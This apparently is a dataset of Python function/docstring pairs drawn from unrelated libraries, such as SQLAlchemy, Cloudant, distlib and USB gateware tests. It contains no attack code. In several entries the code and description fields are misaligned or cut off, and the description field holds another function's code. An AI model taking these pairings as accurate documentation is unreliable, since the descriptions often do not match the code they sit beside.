28/7/99.Draw a partial ellipse inscribed within the rectangle x1,y1,x2,y2,starting at startAng degrees and covering extent degrees. Anglesstart with 0 to the right (+x) and increase counter-clockwise.These should have x1<x2 and y1<y2.The algorithm is an elliptical generalization of the formulae inJim Fitzsimmon's TeX tutorial <URL: http://www.tinaja.com/bezarc1.pdf>."} {"code": "def _spatial_setup(self, att, aggregate=False, desc=None, field_name=None, geo_field_type=None):\n func = getattr(SpatialBackend, att, False)\n if desc is None: desc = att\n if not func: raise ImproperlyConfigured('%s stored procedure not available.' % desc)\n\n procedure_args = {'function' : func}\n\n geo_field = self.query._geo_field(field_name)\n if not geo_field:\n raise TypeError('%s output only available on GeometryFields.' % func)\n\n if not geo_field_type is None and not isinstance(geo_field, geo_field_type):\n raise TypeError('\"%s\" stored procedures may only be called on %ss.' % (func, geo_field_type.__name__))\n\n procedure_args['geo_col'] = self._geocol_select(geo_field, field_name, aggregate)\n\n return procedure_args, geo_field\n", "nl": "Performs set up for executing the spatial function."} {"code": "def bindparams(self, *binds, **names_to_values):\n self._bindparams = new_params = self._bindparams.copy()\n\n for bind in binds:\n try:\n existing = new_params[bind.key]\n except KeyError:\n raise exc.ArgumentError(", "nl": "Establish the values and/or types of bound parameters withinthis :class:`.TextClause` construct.Given a text construct such as::from sqlalchemy import textstmt = text(\"SELECT id, name FROM user WHERE name=:name \"\"AND timestamp=:timestamp\")the :meth:`.TextClause.bindparams` method can be used to establishthe initial value of ``:name`` and ``:timestamp``,using simple keyword arguments::stmt = stmt.bindparams(name='jack',timestamp=datetime.datetime(2012, 10, 8, 15, 12, 5))Where above, new :class:`.BindParameter` objectswill be generated with the names ``name`` and ``timestamp``, andvalues of ``jack`` and ``datetime.datetime(2012, 10, 8, 15, 12, 5)``,respectively. The types will beinferred from the values given, in this case :class:`.String` and:class:`.DateTime`.When specific typing behavior is needed, the positional ``*binds``argument can be used in which to specify :func:`.bindparam` constructsdirectly. These constructs must include at least the ``key``argument, then an optional value and type::from sqlalchemy import bindparamstmt = stmt.bindparams(bindparam('name', value='jack', type_=String),bindparam('timestamp', type_=DateTime))Above, we specified the type of :class:`.DateTime` for the``timestamp`` bind, and the type of :class:`.String` for the ``name``bind. In the case of ``name`` we also set the default value of``\"jack\"``.Additional bound parameters can be supplied at statement executiontime, e.g.::result = connection.execute(stmt,timestamp=datetime.datetime(2012, 10, 8, 15, 12, 5))The :meth:`.TextClause.bindparams` method can be called repeatedly,where it will re-use existing :class:`.BindParameter` objects to addnew information. For example, we can call:meth:`.TextClause.bindparams` first with typing information, and asecond time with value information, and it will be combined::stmt = text(\"SELECT id, name FROM user WHERE name=:name \"\"AND timestamp=:timestamp\")stmt = stmt.bindparams(bindparam('name', type_=String),bindparam('timestamp', type_=DateTime))stmt = stmt.bindparams(name='jack',timestamp=datetime.datetime(2012, 10, 8, 15, 12, 5)).. versionadded:: 0.9.0 The :meth:`.TextClause.bindparams` methodsupersedes the argument ``bindparams`` passed to:func:`~.expression.text`."} {"code": "def create(self, throw_on_exists=False):\n if not throw_on_exists and self.exists():\n return self\n\n resp = self.r_session.put(self.database_url, params={\n 'partitioned': TYPE_CONVERTERS.get(bool)(self._partitioned)\n })\n if resp.status_code == 201 or resp.status_code == 202:\n return self\n\n raise CloudantDatabaseException(\n resp.status_code, self.database_url, resp.text\n )\n", "nl": "Creates a database defined by the current database object, if itdoes not already exist and raises a CloudantException if the operationfails. If the database already exists then this method call is a no-op.:param bool throw_on_exists: Boolean flag dictating whether ornot to throw a CloudantDatabaseException when attempting tocreate a database that already exists.:returns: The database object"} {"code": "def predict_track_metadata(model, metadata=[], output_layer=-1):\n try:\n patches_meta = np.zeros((1,metadata.shape[0]))\n patches_meta[0,:] = metadata[:]\n if output_layer == -1:\n pred = model.predict(patches_meta)\n else:\n pred = get_activations(model, output_layer, patches_meta)[0]\n\n except Exception,e:\n pred = []\n print(str(e))\n print('Error predicting track')\n return pred[0]\n", "nl": "Predicts piano for a given track.Parameters----------model: keras.modelModel with the pre-trained weights.model_config: dictConfiguration parameters of the model.track_uid: strTrack UID to predict piano detection from.agg_method: strAggregation method (possible values `AGGREGATE_DICT.keys()`).trim_coeff: floatPercentage of track to trim from beginning and end.Returns-------prediction: floatProbablity of having piano in the given track."} {"code": "def getproxies_registry():\n proxies = {}\n try:\n import _winreg\n except ImportError:\n return proxies\n try:\n internetSettings = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER,\n r'Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings')\n proxyEnable = _winreg.QueryValueEx(internetSettings,\n 'ProxyEnable')[0]\n if proxyEnable:\n proxyServer = str(_winreg.QueryValueEx(internetSettings,\n 'ProxyServer')[0])\n if '=' in proxyServer:\n for p in proxyServer.split(';'):\n protocol, address = p.split('=', 1)\n import re\n if not re.match('^([^/:]+)://', address):\n address = '%s://%s' % (protocol, address)\n proxies[protocol] = address\n else:\n if proxyServer[:5] == 'http:':\n proxies['http'] = proxyServer\n else:\n proxies['http'] = 'http://%s' % proxyServer\n proxies['https'] = 'https://%s' % proxyServer\n proxies['ftp'] = 'ftp://%s' % proxyServer\n internetSettings.Close()\n except (WindowsError, ValueError, TypeError):\n pass\n return proxies\n", "nl": "Return a dictionary of scheme -> proxy server URL mappings.Win32 uses the registry to store proxies."} {"code": "def copy(self):\n\n Returns\n -------\n decomposition_name : str\n \"\"\"", "nl": " Copy of the Decomposition as a new object new_object = super(BaseCPD, self).copy()return new_object@propertydef name(self): Name of the decomposition"} {"code": "def is_unspecified(self):\n return self == self._constants._unspecified_address\n\n @property", "nl": "Test if the address is unspecified.Returns:A boolean, True if this is the unspecified address as defined inRFC 5735 3."} {"code": "def check_no_resource_warning(testcase):\n with check_no_warnings(testcase, category=ResourceWarning, force_gc=True):\n yield\n\n\nclass CleanImport(object):\n \"\"\"Context manager to force import to return a new module reference.\n", "nl": "Context manager to check that no ResourceWarning is emitted.Usage:with check_no_resource_warning(self):f = open(...)...del fYou must remove the object which may emit ResourceWarning beforethe end of the context manager."} {"code": "def provide_data(self, *tuples):\n\n The actual sending is handled by our transmitter gateware.\n\n Attributes\n ----------\n data_sink: SuperSpeedStreamInterface(), input stream\n The data stream to be send as a data packet. The length of this stream should match thee\n length parameter.\n send_zlp: Signal(), input\n Strobe; triggers sending of a zero-length packet.\n\n sequence_number: Signal(5), input\n The sequence number associated with the relevant data packet. Latched in once :attr:``data_sink`` goes valid.\n endpoint_number: Signal(4), input\n The endpoint number associated with the relevant data stream. Latched in once :attr:``data_sink`` goes valid.\n data_length: Signal(range(1024 + 1))\n The length of the data packet to be sent; in bytes. Latched in once :attr:``data_sink`` goes valid.\n direction: Signal(), input\n The direction to indicate in the data header packet. Typically Direction.IN; but will be Direction.OUT\n when data is sent to the host as part of a control transfer.\n\n address: Signal(7), input\n The current address of the USB device.\n \"\"\"", "nl": " Provides the receiver with a sequence of (data, ctrl) values. # Provide each word of our data to our receiver...for data, ctrl in tuples:yield self.dut.sink.data.eq(data)yield self.dut.sink.ctrl.eq(ctrl)yield@ss_domain_test_casedef test_unaligned_1B_packet_receive(self):# Provide a packet pair to the device.# (This data is from an actual recorded data packet.)yield from self.provide_data(# Header packet.# data ctrl(0xF7FBFBFB, 0b1111),(0x32000008, 0b0000),(0x00010000, 0b0000),(0x08000000, 0b0000),(0xE801A822, 0b0000),# Payload packet.(0xF75C5C5C, 0b1111),(0x000000FF, 0b0000),(0xFDFDFDFF, 0b1110),)self.assertEqual((yield self.dut.packet_good), 1)@ss_domain_test_casedef test_unaligned_2B_packet_receive(self):# Provide a packet pair to the device.# (This data is from an actual recorded data packet.)yield from self.provide_data(# Header packet.# data ctrl(0xF7FBFBFB, 0b1111),(0x34000008, 0b0000),(0x00020000, 0b0000),(0x08000000, 0b0000),(0xD005A242, 0b0000),# Payload packet.(0xF75C5C5C, 0b1111),(0x2C98BBAA, 0b0000),(0xFDFD4982, 0b1110),)self.assertEqual((yield self.dut.packet_good), 1)@ss_domain_test_casedef test_aligned_packet_receive(self):# Provide a packet pair to the device.# (This data is from an actual recorded data packet.)yield from self.provide_data(# Header packet.# data ctrl(0xF7FBFBFB, 0b1111),(0x00000008, 0b0000),(0x00088000, 0b0000),(0x08000000, 0b0000),(0xA8023E0F, 0b0000),# Payload packet.(0xF75C5C5C, 0b1111),(0x001E0500, 0b0000),(0x00000000, 0b0000),(0x0EC69325, 0b0000),)self.assertEqual((yield self.dut.packet_good), 1)class DataPacketTransmitter(Elaboratable): Gateware that generates a Data Packet Header, and orchestrates sending it and a payload."} {"code": "def drop_table(self):\n\n return exclusions.open()\n\n @property", "nl": "target platform can emit basic DropTable DDL.return exclusions.open()@propertydef foreign_keys(self):Target database must support foreign keys."} {"code": "def set(self, path, data):\n return self._zk.set(self.__path(path), data)\n", "nl": "Sets the content of a ZooKeeper node:param path: Z-Path:param data: New content"} {"code": "def minDistance(word1, word2):\n\n Args:\n value_set (dict):\n The value set of task ontology.\n domain (str):\n The domain of the slot-value pairs.\n slot (str):\n The slot of the value.\n value (str):\n The raw value detected by NLU module.\n Returns:\n value (str): The normalized value, which fits with the domain ontology.\n \"\"\"", "nl": "The minimum edit distance between word 1 and 2.if not word1:return len(word2 or '') or 0if not word2:return len(word1 or '') or 0size1 = len(word1)size2 = len(word2)tmp = list(range(size2 + 1))value = Nonefor i in range(size1):tmp[0] = i + 1last = ifor j in range(size2):if word1[i] == word2[j]:value = lastelse:value = 1 + min(last, tmp[j], tmp[j + 1])last = tmp[j + 1]tmp[j + 1] = valuereturn valuedef normalize_value(value_set, domain, slot, value):Normalized the value produced by NLU module to map it to the ontology value space."} {"code": "def load_handlers(config, handler_names):\n\n handlers = []\n\n if isinstance(handler_names, basestring):\n handler_names = [handler_names]\n\n for handler in handler_names:\n logger.debug('Loading Handler %s', handler)\n try:\n cls = load_dynamic_class(handler, Handler)\n cls_name = cls.__name__\n\n handler_config = configobj.ConfigObj()", "nl": "Load handlers"} {"code": "def get_marks(self):\n return self.marks\n", "nl": "Return all the marks.Args:NoneReturns:The full marks as a numpy array."} {"code": "def plot_result(self, **kwargs):\n return self._plot(plot_result, **kwargs)\n", "nl": " Plots the integrated dependent variables from last integration.This method will be deprecated. Please use :meth:`Result.plot`.See :func:`pyodesys.plotting.plot_result`"} {"code": "def teardown(self):\n rc = self.rc\n if rc.debug:\n import traceback\n sep = nyansep + '\\n\\n'\n msg = u''\n if err != 0:\n msg += u'{0}xdress failed with the following error:\\n\\n'.format(sep)\n msg += traceback.format_exc()\n if len(self.warnings) > 0:\n warnmsg = u'\\n{0}xdress issued the following warnings:\\n\\n{1}\\n\\n'\n warnmsg = warnmsg.format(sep, \"\\n\".join(self.warnings))\n msg += warnmsg\n msg += '\\n{0}Run control run-time contents:\\n\\n{1}\\n\\n'.format(sep,\n rc._pformat())\n for plugin in self.plugins:\n plugin_msg = plugin.report_debug(rc) or ''\n if 0 < len(plugin_msg):\n msg += sep\n msg += plugin_msg\n with io.open(os.path.join(rc.builddir, 'debug.txt'), 'wt') as f:\n f.write(msg)\n if err != 0:\n raise\n else:\n if err == 0:\n sys.exit()\n else:\n sys.exit('ERROR: ' + str(err))\n", "nl": "Preforms all plugin teardown tasks.rc = self.rctry:for plugin in self.plugins:plugin.teardown(rc)except Exception as e:self.exit(e)def exit(self, err=0):Exits the process, possibly printing debug info."} {"code": "def testFlagOverridesEnvVar(self):\n\n shard_status_file = os.path.join(gtest_test_utils.GetTempDir(),\n 'shard_status_file')\n self.assert_(not os.path.exists(shard_status_file))\n\n extra_env = {SHARD_STATUS_FILE_ENV_VAR: shard_status_file}\n try:\n InvokeWithModifiedEnv(extra_env, RunAndReturnOutput)\n finally:\n self.assert_(os.path.exists(shard_status_file))\n os.remove(shard_status_file)\n", "nl": "Tests that the filter flag overrides the filtering env. variable.SetEnvVar(FILTER_ENV_VAR, 'Foo*')args = ['--%s=%s' % (FILTER_FLAG, '*One')]tests_run = RunAndExtractTestList(args)[0]SetEnvVar(FILTER_ENV_VAR, None)self.AssertSetEqual(tests_run, ['BarTest.TestOne', 'BazTest.TestOne'])def testShardStatusFileIsCreated(self):Tests that the shard file is created if specified in the environment."} {"code": "def download_file(self, url, destfile, digest=None, reporthook=None):\n if digest is None:\n digester = None\n logger.debug('No digest specified')\n else:\n if isinstance(digest, (list, tuple)):\n hasher, digest = digest\n else:\n hasher = 'md5'\n digester = getattr(hashlib, hasher)()\n logger.debug('Digest specified: %s' % digest)\n with open(destfile, 'wb') as dfp:\n sfp = self.send_request(Request(url))\n try:\n headers = sfp.info()\n blocksize = 8192\n size = -1\n read = 0\n blocknum = 0\n if \"content-length\" in headers:\n size = int(headers[\"Content-Length\"])\n if reporthook:\n reporthook(blocknum, blocksize, size)\n while True:\n block = sfp.read(blocksize)\n if not block:\n break\n read += len(block)\n dfp.write(block)\n if digester:\n digester.update(block)\n blocknum += 1\n if reporthook:\n reporthook(blocknum, blocksize, size)\n finally:\n sfp.close()\n\n if size >= 0 and read < size:\n raise DistlibException(\n 'retrieval incomplete: got only %d out of %d bytes'\n % (read, size))\n if digester:\n actual = digester.hexdigest()\n if digest != actual:\n raise DistlibException('%s digest mismatch for %s: expected '\n '%s, got %s' % (hasher, destfile,\n digest, actual))\n logger.debug('Digest verified: %s', digest)\n", "nl": "This is a convenience method for downloading a file from an URL.Normally, this will be a file from the index, though currentlyno check is made for this (i.e. a file can be downloaded fromanywhere).The method is just like the :func:`urlretrieve` function in thestandard library, except that it allows digest computation to bedone during download and checking that the downloaded datamatched any expected value.:param url: The URL of the file to be downloaded (assumed to beavailable via an HTTP GET request).:param destfile: The pathname where the downloaded file is to besaved.:param digest: If specified, this must be a (hasher, value)tuple, where hasher is the algorithm used (e.g.``'md5'``) and ``value`` is the expected value.:param reporthook: The same as for :func:`urlretrieve` in thestandard library."} {"code": "def _apply_map_namespace_tag(ns, k):\n if not isinstance(k, Keyword):\n return k\n\n if k.namespace:\n if k.namespace == \"_\":\n return k.with_namespace(None)\n\n return k\n\n return k.with_namespace(ns)\n\n", "nl": "Helper for the p_map_with_namespace_tag rule.Apply a namespace tag on a map key."} {"code": "def test_read_tar_archive(self):\n path = os.path.dirname(__file__)\n ascii_path = os.path.join(path, \"..\", \"..\", \"io\", \"ascii\",\n \"tests\", \"data\")\n st1 = read(os.path.join(path, \"data\", \"test.tar\"))\n st2 = read(os.path.join(ascii_path, \"slist.ascii\"))\n assert st1 == st2\n st1 = read(os.path.join(path, \"data\", \"test.tar.gz\"))\n st2 = read(os.path.join(ascii_path, \"slist.ascii\"))\n assert st1 == st2\n st1 = read(os.path.join(path, \"data\", \"test.tar.bz2\"))\n st2 = read(os.path.join(ascii_path, \"slist.ascii\"))\n assert st1 == st2\n st1 = read(os.path.join(path, \"data\", \"test.tgz\"))\n st2 = read(os.path.join(ascii_path, \"slist.ascii\"))\n assert st1 == st2\n", "nl": "Tests reading tar compressed waveforms."} {"code": "def analyze(self):\n self.reduction()\n\n if self.data_analysis_display:\n for key, kll_context in enumerate(self.reduced_contexts):\n output = \"*\\033[1;33mLayer{0}\\033[0m:\\033[1m{1}\\033[0m\".format(\n key,\n kll_context.paths(),\n )\n print(self.color and output or ansi_escape.sub('', output))\n\n for store in kll_context.organization.stores():\n output = \"\\t\\033[1;4;32m{0}\\033[0m\".format(\n store.__class__.__name__\n )\n print(self.color and output or ansi_escape.sub('', output))\n print(self.color and store or ansi_escape.sub('', store), end=\"\")\n\n self.generate_pixel_display_mapping()\n\n self.generate_animation_settings()\n\n self.generate_map_offset_table()\n\n self.generate_mapping_indices()\n\n self.generate_trigger_lists()\n\n self.generate_rotation_ranges()\n\n self.generate_utf8_string_lookup()\n", "nl": "Analyze the set of configured contexts"} {"code": "def test_FourBandsTwoBitsEncoder_init():\n encoder = FourBandsTwoBitsEncoder(0, 1, 2, 3)\n assert encoder.bandIndexes[0] == 0\n assert encoder.bandIndexes[1] == 1\n assert encoder.bandIndexes[2] == 2\n assert encoder.bandIndexes[3] == 3\n encoder = FourBandsTwoBitsEncoder(3, 2, 1, 0)\n assert encoder.bandIndexes[0] == 3\n assert encoder.bandIndexes[1] == 2\n assert encoder.bandIndexes[2] == 1\n assert encoder.bandIndexes[3] == 0\n\n", "nl": "Test dual bit four band encoder constructor"} {"code": "def test_all():\n result = runner(['--tld', 'it', '--all'])\n\n\n assert \"en: Inglese\" in result.output\n assert result.exit_code == 0\n\n", "nl": "Option <all> should return a list of languagesresult = runner(['--all'])# One or more of \" xy: name\" (\\n optional to match the last)# Ex. \"<start> xx: xxxxx\\n xx-yy: xxxxx\\n xx: xxxxx<end>\"assert re.match(r\"^(?:\\s{2}(\\w{2}|\\w{2}-\\w{2}): .+\\n?)+$\", result.output)assert result.exit_code == 0def test_all_tld():Option <all> should return a list of languages"} {"code": "def testDefaultFields_Enum(self):\n field = messages.EnumField(\n 'apitools.base.protorpclite.descriptor.FieldDescriptor.Label',\n 1,", "nl": "Test the default for enum fields.class Symbol(messages.Enum):ALPHA = 1BETA = 2GAMMA = 3field = messages.EnumField(Symbol, 1, default=Symbol.ALPHA)self.assertEquals(Symbol.ALPHA, field.default)def testDefaultFields_EnumStringDelayedResolution(self):Test that enum fields resolve default strings."} {"code": "def cleanupPredefinedEntities():", "nl": "Cleanup up the predefined entities table. Deprecated call libxml2mod.xmlCleanupPredefinedEntities()def initializePredefinedEntities():Set up the predefined entities. Deprecated call "} {"code": "def cmd_END(self):\n cmd = self._current.popleft()\n if cmd.command == b\"get\":\n if cmd.multiple:\n values = {key: val[::2] for key, val in iteritems(cmd.values)}\n cmd.success(values)\n else:\n cmd.success((cmd.flags, cmd.value))\n elif cmd.command == b\"gets\":\n if cmd.multiple:\n cmd.success(cmd.values)\n else:\n cmd.success((cmd.flags, cmd.cas, cmd.value))\n elif cmd.command == b\"stats\":\n cmd.success(cmd.values)\n else:\n raise RuntimeError(\n \"Unexpected END response to %s command\" %\n (nativeString(cmd.command),))\n\n", "nl": "This the end token to a get or a stat operation."} {"code": "def convert_to_unicode(text):\n\n if six.PY3:\n if isinstance(text, str):\n return text\n elif isinstance(text, bytes):\n return text.decode(\"utf-8\", \"ignore\")\n else:\n raise ValueError(\"Unsupported string type: %s\" % (type(text)))\n elif six.PY2:\n if isinstance(text, str):\n return text\n elif isinstance(text, unicode):\n return text.encode(\"utf-8\")\n else:\n raise ValueError(\"Unsupported string type: %s\" % (type(text)))\n else:\n raise ValueError(\"Not running on Python2 or Python 3?\")\n\n", "nl": "Converts `text` to Unicode (if it's not already), assuming utf-8 input.if six.PY3:if isinstance(text, str):return textelif isinstance(text, bytes):return text.decode(\"utf-8\", \"ignore\")else:raise ValueError(\"Unsupported string type: %s\" % (type(text)))elif six.PY2:if isinstance(text, str):return text.decode(\"utf-8\", \"ignore\")elif isinstance(text, unicode):return textelse:raise ValueError(\"Unsupported string type: %s\" % (type(text)))else:raise ValueError(\"Not running on Python2 or Python 3?\")def printable_text(text):Returns text encoded in a way suitable for print or `tf.logging`."} {"code": "def _flatten_file_with_secondary(input, out_dir):\n out = []\n orig_dir = os.path.dirname(input[\"base\"])\n for finfo in [input[\"base\"]] + input.get(\"secondary\", []):\n cur_dir = os.path.dirname(finfo)\n if cur_dir != orig_dir and cur_dir.startswith(orig_dir):\n cur_out_dir = os.path.join(out_dir, cur_dir.replace(orig_dir + \"/\", \"\"))\n else:\n cur_out_dir = out_dir\n out.append({\"path\": finfo, \"dir\": cur_out_dir})\n return out\n", "nl": "Flatten file representation with secondary indices (CWL-like)"} {"code": "def minus(self, a):\n a = _convert_other(a, raiseit=True)\n return a.__neg__(context=self)\n", "nl": "Minus corresponds to unary prefix minus in Python.The operation is evaluated using the same rules as subtract; theoperation minus(a) is calculated as subtract('0', a) where the '0'has the same exponent as the operand.>>> ExtendedContext.minus(Decimal('1.3'))Decimal('-1.3')>>> ExtendedContext.minus(Decimal('-1.3'))Decimal('1.3')>>> ExtendedContext.minus(1)Decimal('-1')"} {"code": "def get_type(cls):\n\n return cls.__module__ + '.' + cls.__bases__[0].__name__\n", "nl": "Returns the provider type.:returns::class:`str` The full dotted path to base class e.g.:literal:`\"authomatic.providers.oauth2.OAuth2\"`."} {"code": "def _on_deleted_placement(self, path):\n dirname = os.path.dirname(path)\n server_name = os.path.basename(dirname)\n server_info = self._servers_watch.get_server_info(server_name)\n proid = self._get_proid(os.path.basename(path))\n self._remove_placement(server_info, proid)\n", "nl": "Path deleted handler for dirwatch."} {"code": "def log_norm(self, data_len) -> Tensor:\n if self.use_bias:\n core_tensors = self.core_tensors + self.bias_mat[None]\n else:\n core_tensors = self.core_tensors\n\n lamb_mat = None if self.embedding is None else self.embedding.lamb_mat\n\n return get_log_norm(\n core_tensors, self.edge_vecs, lamb_mat=lamb_mat, length=data_len\n )\n\n @property", "nl": "rCompute the log normalization of the MPS for its fixed-size inputUses iterated tensor contraction to compute :math:`\\log(|\\psi|^2)`,where :math:`\\psi` is the n'th order tensor described by thecontraction of MPS parameter cores. In the Born machine paradigm,this is also :math:`\\log(Z)`, for :math:`Z` the normalizationconstant for the probability.Returns:l_norm: Scalar value giving the log squared L2 norm of then'th order prob. amp. tensor described by the MPS."} {"code": "def read_manifest_config(self):\n root = etree.Element(\"worktree\")\n manifest_elem = etree.SubElement(root, \"manifest\")\n manifest_elem.set(\"url\", self.manifest.url)\n manifest_elem.set(\"branch\", self.manifest.branch)\n if self.manifest.groups is not None:\n manifest_elem.set(\"groups\", \" \".join(self.manifest.groups))\n if self.manifest.review:\n manifest_elem.set(\"review\", \"true\")\n else:\n manifest_elem.set(\"review\", \"false\")\n tree = etree.ElementTree(root)\n qisys.qixml.write(tree, self.manifest_xml)\n", "nl": " Read Manifest Config tree = qisys.qixml.read(self.manifest_xml)root = tree.getroot()manifest_elem = root.find(\"manifest\")if manifest_elem is None:returnself.manifest.url = manifest_elem.get(\"url\")self.manifest.branch = manifest_elem.get(\"branch\", \"master\")if manifest_elem.get(\"groups\") is None:self.manifest.groups = Noneelse:self.manifest.groups = qisys.qixml.parse_list_attr(manifest_elem, \"groups\")self.manifest.review = qisys.qixml.parse_bool_attr(manifest_elem, \"review\",default=True)self.manifest.all_repos = qisys.qixml.parse_bool_attr(manifest_elem, \"all_repos\",default=False)def dump_manifest_config(self): Save the manifest config in .qi/manifest.xml "} {"code": "def test_ctor_w_digits(self):\n", "nl": "constructor -- 'digits' parameterself.assertRaises(ValueError, TOTP, KEY1, digits=5)self.assertEqual(TOTP(KEY1, digits=6).digits, 6) # min valueself.assertEqual(TOTP(KEY1, digits=10).digits, 10) # max valueself.assertRaises(ValueError, TOTP, KEY1, digits=11)def test_ctor_w_period(self):constructor -- 'period' parameter"} {"code": "def _instance(cls):\n\n return True_()\n", "nl": "Return a constant :class:`.True_` construct.E.g.::>>> from sqlalchemy import true>>> print select([t.c.x]).where(true())SELECT x FROM t WHERE trueA backend which does not support true/false constants will render asan expression against 1 or 0::>>> print select([t.c.x]).where(true())SELECT x FROM t WHERE 1 = 1The :func:`.true` and :func:`.false` constants also feature\"short circuit\" operation within an :func:`.and_` or :func:`.or_`conjunction::>>> print select([t.c.x]).where(or_(t.c.x > 5, true()))SELECT x FROM t WHERE true>>> print select([t.c.x]).where(and_(t.c.x > 5, false()))SELECT x FROM t WHERE false.. versionchanged:: 0.9 :func:`.true` and :func:`.false` featurebetter integrated behavior within conjunctions and on dialectsthat don't support true/false constants... seealso:::func:`.false`"} {"code": "def detach(self, force=False):\n instance_id = None\n if self.attach_data:\n instance_id = self.attach_data.instance_id\n device = None\n if self.attach_data:\n device = self.attach_data.device\n return self.connection.detach_volume(self.id, instance_id, device, force)\n", "nl": "Detach this EBS volume from an EC2 instance.:type force: bool:param force: Forces detachment if the previous detachment attempt didnot occur cleanly. This option can lead to data loss ora corrupted file system. Use this option only as a lastresort to detach a volume from a failed instance. Theinstance will not have an opportunity to flush file systemcaches nor file system meta data. If you use this option,you must perform file system check and repair procedures.:rtype: bool:return: True if successful"} {"code": "def set_epoch(self, epoch: int) -> None:\n self.epoch = epoch\n\n\nclass LoadBalancingDistributedBatchSampler(Sampler):\n r\"\"\"Wraps another load balance sampler to yield variable sized mini-batches.", "nl": "rSets the epoch for this sampler. When :attr:`shuffle=True`, this ensures all replicasuse a different random ordering for each epoch. Otherwise, the next iteration of thissampler will yield the same ordering.Args:epoch (int): Epoch number."} {"code": "def test_TwoBandsBitEncoder_init():\n encoder = TwoBandsBitEncoder(0, 1)\n assert encoder.l1Index == 0\n assert encoder.l2Index == 1\n encoder = TwoBandsBitEncoder(1, 0)\n assert encoder.l1Index == 1\n assert encoder.l2Index == 0\n\n", "nl": "Test single bit two band encoder constructor"} {"code": "def put(self, backend=None, member=None):\n args = self.parser.parse_args()\n backend = backend or args[\"backendName\"]\n try:\n handler = getattr(bui, \"acl_handler\")\n except AttributeError:\n handler = None\n\n if not handler or len(handler.backends) == 0:\n self.abort(404, \"No acl backend found\")\n if backend not in handler.backends:\n self.abort(404, \"No acl backend '{}' found\".format(backend))\n\n loader = handler.backends[backend]\n\n members = [member] if member else (args[\"memberNames\"] or [])\n\n if loader.add_moderator is False:\n self.abort(\n 500,\n \"The '{}' backend does not support moderator member addition\"\n \"\".format(backend),\n )\n\n ret = []\n status = 200\n for member in members:\n success, message, code = loader.add_moderator(member)\n ret.append([code, message])\n status = 201 if success else 200\n\n bui.audit.logger.info(f\"granted {members} as moderator\")\n return ret, status\n\n @api.disabled_on_demo()\n @api.acl_admin_or_moderator_required(\n message=\"Not allowed to remove moderator members\"\n )\n @ns.expect(parser)\n @ns.doc(\n responses={\n 403: \"Insufficient permissions\",\n 404: \"No backend found\",\n },\n )", "nl": "Add a member as moderator**PUT** method provided by the webservice."} {"code": "def __call__(self, *args, **kwargs):\n if hasattr(request, 'app') and hasattr(request.app, 'log'):\n log = request.app.log\n else:\n log = self\n return log.error(*args, **kwargs)\n", "nl": "Log the given message to the app.log or global log as appropriate."} {"code": "def _shard_lbnh(self, x: JTensor) -> JTensor:\n p = self.params\n ap = p.activation_split_dims_mapping\n if p.mesh_axis_names is None:\n return x\n if ap.blnh is None:\n return x\n assert len(ap.blnh) == 4\n lbnh = [ap.blnh[1], ap.blnh[0], ap.blnh[2], ap.blnh[3]]\n return base_layer.maybe_shard(x, lbnh, p.mesh_axis_names)\n", "nl": "Shards tensors of shape [l, b, n, h].Transformer states cached during decoding are of shape [l, b, n, h]. Note\"l\" is used to annotate the sequence length dim. throughout this class,sometimes it is denoted as \"l\", sometimes \"t\", and sometime \"s\".Args:x: A tensor of shape [l, b, n, h]Returns:x with proper sharding annotations."} {"code": "def have_compiler():\n compiler = customized_ccompiler()\n try:\n cmd = compiler.compiler\n except AttributeError:\n try:\n if not compiler.initialized:\n compiler.initialize()\n except (DistutilsError, ValueError):\n return False\n cmd = [compiler.cc]\n try:\n p = Popen(cmd, stdout=PIPE, stderr=PIPE)\n p.stdout.close()\n p.stderr.close()\n p.wait()\n except OSError:\n return False\n return True\n\n\nHAVE_COMPILER = have_compiler()\n\n\nclass _system_info(system_info):\n", "nl": " Return True if there appears to be an executable compiler"} {"code": "def test_render_none(self):\n renderer = XMLRenderer()\n content = renderer.render({\"field\": None}, \"application/xml\")\n self.assertXMLContains(content, \"<field></field>\")\n", "nl": "Test XML rendering."} {"code": "def UniversalCRTSdkDir(self):\n if self.vc_ver >= 14.0:\n vers = ('10', '81')\n else:\n vers = ()\n\n for ver in vers:\n sdkdir = self.ri.lookup(self.ri.windows_kits_roots,\n 'kitsroot%s' % ver)\n if sdkdir:\n break\n return sdkdir or ''\n\n @property", "nl": "Microsoft Universal CRT SDK directory."} {"code": "def reverse_dict(d):\n result = {}\n for key in d:\n for val in d[key]:\n result[val] = result.get(val, tuple()) + (key, )\n return result\n\n", "nl": "Reverses direction of dependence dict.Notes-----dict order is not deterministic. As we iterate on theinput dict, it makes the output of this function depend on thedict order. So this function output order should be consideredas undeterministic.Examples-------->>> d = {'a': (1, 2), 'b': (2, 3), 'c':()}>>> reverse_dict(d){1: ('a',), 2: ('a', 'b'), 3: ('b',)}"} {"code": "def test_pixellosses(loss_class):\n\n pred = torch.rand((1, 3, 4, 4), dtype=torch.float32)\n loss = WeightedTVLoss(loss_weight=1.0, reduction='mean')\n out = loss(pred, weight=None)\n assert isinstance(out, torch.Tensor)\n assert out.shape == torch.Size([])\n\n weight = torch.rand((1, 3, 4, 4), dtype=torch.float32)\n out = loss(pred, weight=weight)\n assert isinstance(out, torch.Tensor)\n assert out.shape == torch.Size([])\n\n loss = WeightedTVLoss(loss_weight=1.0, reduction='sum')\n out = loss(pred, weight=None)\n assert isinstance(out, torch.Tensor)\n assert out.shape == torch.Size([])\n\n weight = torch.rand((1, 3, 4, 4), dtype=torch.float32)\n out = loss(pred, weight=weight)\n assert isinstance(out, torch.Tensor)\n assert out.shape == torch.Size([])\n\n with pytest.raises(ValueError):\n WeightedTVLoss(loss_weight=1.0, reduction='unknown')\n with pytest.raises(ValueError):\n WeightedTVLoss(loss_weight=1.0, reduction='none')", "nl": "Test loss: pixel lossespred = torch.rand((1, 3, 4, 4), dtype=torch.float32)target = torch.rand((1, 3, 4, 4), dtype=torch.float32)loss = loss_class(loss_weight=1.0, reduction='mean')out = loss(pred, target, weight=None)assert isinstance(out, torch.Tensor)assert out.shape == torch.Size([])# -------------------- test with other reduction -------------------- ## reduction = noneloss = loss_class(loss_weight=1.0, reduction='none')out = loss(pred, target, weight=None)assert isinstance(out, torch.Tensor)assert out.shape == (1, 3, 4, 4)# test with spatial weightsweight = torch.rand((1, 3, 4, 4), dtype=torch.float32)out = loss(pred, target, weight=weight)assert isinstance(out, torch.Tensor)assert out.shape == (1, 3, 4, 4)# reduction = sumloss = loss_class(loss_weight=1.0, 